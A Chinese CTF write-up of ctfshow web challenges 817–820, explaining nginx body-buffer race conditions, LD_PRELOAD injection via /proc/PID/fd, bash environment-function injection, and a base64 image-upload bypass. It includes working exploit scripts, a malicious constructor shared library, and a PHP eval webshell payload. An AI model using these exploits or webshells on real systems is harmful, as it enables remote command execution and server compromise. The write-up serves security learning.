1NDEX
0x00 前言
接上一篇继续记录ctfshow web入门常用姿势 嗝
817 && 群友挑战套娃shell
$file = $_GET['file'];
if(isset($file) && preg_match("/^\/(\w+\/?)+$/", $file)){
shell_exec(shell_exec("cat $file"));
}
非预期
自己当时做的是非预期解,问就是知道flagfile
第一层读取文件内容,第二层执行读取的文件内容
那么直接第一层读取flagfile,那么第二层shell_exec会将flagfile的内容显现在进程列表里
同时开启里一个线程访问ps -ef的执行结果
import socket
import threading
url = 'pwn.challenge.ctf.show'
port = 28002
# 创建请求消息头
#request_url = 'GET /?env=BASH_FUNC_echo%25%25=()%20{%20id;%20} HTTP/1.1\r\nHost: pwn.challenge.ctf.show\r\nConnection: close\r\n\r\n'
def func1():
request_url_1 = 'GET /?file=/flagfile&a='+'a'*50+'HTTP/1.1\r\nHost: pwn.challenge.ctf.show\r\nConnection: close\r\n\r\n' #填了点垃圾字符让这个请求延迟久一点 理论上send_payload后sleep一下也可以
for i in range(20):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((url, port))
sock.send(request_url_1.encode())
response = b''
rec = sock.recv(1024)
while rec:
response += rec
rec = sock.recv(1024)
print(response.decode())
# return response.decode()
def func2():
# 创建TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接服务端
sock.connect((url, port))
request_url_2 = 'GET / HTTP/1.1\r\nHost: pwn.challenge.ctf.show\r\nConnection: close\r\n\r\n'
for i in range(20):
sock.send(request_url_2.encode())
response = b''
rec = sock.recv(1024)
while rec:
response += rec
rec = sock.recv(1024)
print(response.decode())
#return response.decode()
thread1 = threading.Thread(target=func1)
thread2 = threading.Thread(target=func2)
thread1.start()
thread2.start()
预期解
不过这道用socket发包sleep延时就行 没必要竞争了
参照818 读取fd目录下缓存body
# coding: utf-8
import requests
import threading
import socket
import re
url="http://pwn.challenge.ctf.show:28095/"
pid=124
def writeBuffer():
while True:
r=requests.post(url=url,data=b'evil commnad'+b'\n'*1024*200)
def readBuffer():
while True:
for fd in range(10,16):
print(fd)
r=requests.get(url=url+f"?file=/proc/{pid}/fd/{fd}")
print(r.content)
for i in range(30):
t = threading.Thread(target=writeBuffer)
t.start()
for j in range(30):
a = threading.Thread(target=readBuffer)
a.start()
818 && 虎符ctf ezphp
看一下几个重要配置
http://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_buffer_size
nginx body缓存机制
请求body体字段大于缓冲区大小(默认配置下,缓冲区大小等于两个内存也,64位机器则为16K),会将整个body字段或其中一部分写入一个临时文件
临时目录默认规则如下:
/var/lib/nginx/tmp/client_body/000000001
/var/lib/nginx/tmp/client_body/000000002
/var/lib/nginx/tmp/client_body/000000003
dockerfile搭建实测一下
docker build .
docker run -d -p 80:80 xx
准备经典恶意so
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("evil command");
}
dd追加脏字符
https://blog.csdn.net/qq_33160790/article/details/77488160
inotifywait监听文件变化
inotifywait -mrq --timefmt '%y %m %d %H %M' --format '%T %w %f %e' / -e create,delete,close
间断发包
此处的body缓存,nginx读取完毕后,转发给php-fpm就删除了->php解释执行前就删除了
可以看到基本是秒删,那么我们利用的机会在哪呢
On Linux, the set of file descriptors open in a process can be accessed under the path /proc/PID/fd/, where PID is the process identifier.
如果一个进程打开了某个文件(同时在没有被关闭的情况下就被删除了),那么这个文件就会出现在 /proc/PID/fd/ 目录下
做个上传测试一下
第一个脚本post数据
关于为什么用pwntools(socket)发包?
直接使用request或者bp发包,无法让我们在tcp层做延迟
socket发包+sleep 使我们在发送完payload之后延迟关闭连接,误使server端认为我们的payload还没发送完,就会暂时保存body缓存内容(实测确实在conn.close()之前,fd目录下的body缓存文件一直存在)
import requests
import time
import socket
from pwn import *
host = "1.15.67.48"
port = 80
url = remote(host,port)
def getSo():
with open('1.so','rb') as f:
ret = f.read()
return ret
#payload = getSo()+b'\n'*30*1024
payload = '<?php eval($_POST[kidult]);?>'.encode()+b'A'*16*1024
send_payload='''POST /index.php HTTP/1.1\r
Host:{host}\r
Content-Length:{length}\r
\r
{data}
'''.format(host=host,length=len(payload)+300,data=payload)
url.send(send_payload)
time.sleep(20)
url.close()
第二个脚本通过shell读取fd目录下内容,看看我们的payload是否能在fd目录下读到
import requests
url="http://1.15.67.48/kidult.php"
while True:
for i in range(1,15):
data={
"1":"system('cat /proc/12/fd/{}');".format(i)
}
res=requests.post(url,data=data)
if res.text.find('eval')>0:
print("include success")
print(res.text)
exit()
print("system('cat /proc/12/fd/{}');".format(i))
做了几遍测试都在 fd/11 处读到了
在url.close()之前,持续能访问到body缓存,那么通过这个窗口期,我们就能利用
ok下面实战
结果在实际测试payload为so文件的时候,无法使body缓存文件在fd目录下停留(也不知道为什么)正常脏字符加文本是可以通过socket发包后sleep停留的 进行了很多调试也尚未找到原因
inotify监控下上传so文件+脏字符的情况
此时body缓存文件是秒close_write的…
上传正常文本加脏字符得情况
此时body缓存文件会等conn.close()后才close_write
果然 还是条件竞争的成功率更高
哈哈哈看上去太爽了
exp
# coding: utf-8
import requests
import threading
import socket
import re
url="http://xxxx/index.php"
pid=xx
def writeBuffer():
while True:
r=requests.post(url=url,data=open('hack.so','rb').read()+b'\n'*1024*200)
def readBuffer():
while True:
for fd in range(10,16):
print(fd)
r=requests.get(url=url+f"?env=LD_PRELOAD=/proc/{pid}/fd/{fd}")
print(r.content)
for i in range(30):
t = threading.Thread(target=writeBuffer)
t.start()
for j in range(30):
a = threading.Thread(target=readBuffer)
a.start()
参考文章
https://bkfish.github.io/2022/03/20/2022%E8%99%8E%E7%AC%A6ezphp%E5%AE%8C%E6%95%B4%E8%BF%87%E7%A8%8B/
819 借壳生蛋
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-04-28 16:55:29
# @Last Modified by: h1xa
# @Last Modified time: 2022-04-29 19:51:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$env = $_GET['env'];
if(isset($env)){
putenv($env);
system("whoami");
}else{
highlight_file(__FILE__);
}
参考p神文章
https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html
php system执行的是 sh -c
当初的破壳漏洞
poc
/?env=BASH_FUNC_whoami%%=() { id; }
820 非常规文件上传
php中的base64_decode只对合法字符合并后进行解码,非法字符会直接丢弃,不参与整体的base64解码
合法字符包括
A-Za-z0-9/+
字母26+26 数字是10,符号是2
26+26+10=2=64
等于号是占位符,非编码范围内
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-04-30 10:52:40
# @Last Modified by: h1xa
# @Last Modified time: 2022-04-30 16:59:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(strlen($_FILES['file']['tmp_name'])>0){
$filetype = $_FILES['file']['type'];
$tmpname = $_FILES['file']['tmp_name'];
$ef = getimagesize($tmpname);
if( ($filetype=="image/jpeg") && ($ef!=false) && ($ef['mime']=='image/jpeg')){
$content = base64_decode(file_get_contents($tmpname));
file_put_contents("shell.php", $content);
echo "file upload success!";
}
}else{
highlight_file(__FILE__);
}
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING> 级的错误信息。
与之前不同的是 这一次会base64_decode后存放图片
绕过getimagesize+base64解码
群主构造好的jpg
所有合法字符加起来为
PD89YCRfR0VUWzFdYDs7Pz4C
直接shell_exec执行
画图软件造了一张1000*1000的纯白图片
0x23和0x92两位做了变动会破坏图片的原有格式
保险点 winhex一个一个改,非法了就撤回
不重复造轮子了直接嫖了
0x01 rethink
还是太菜了 希望后面能回来填坑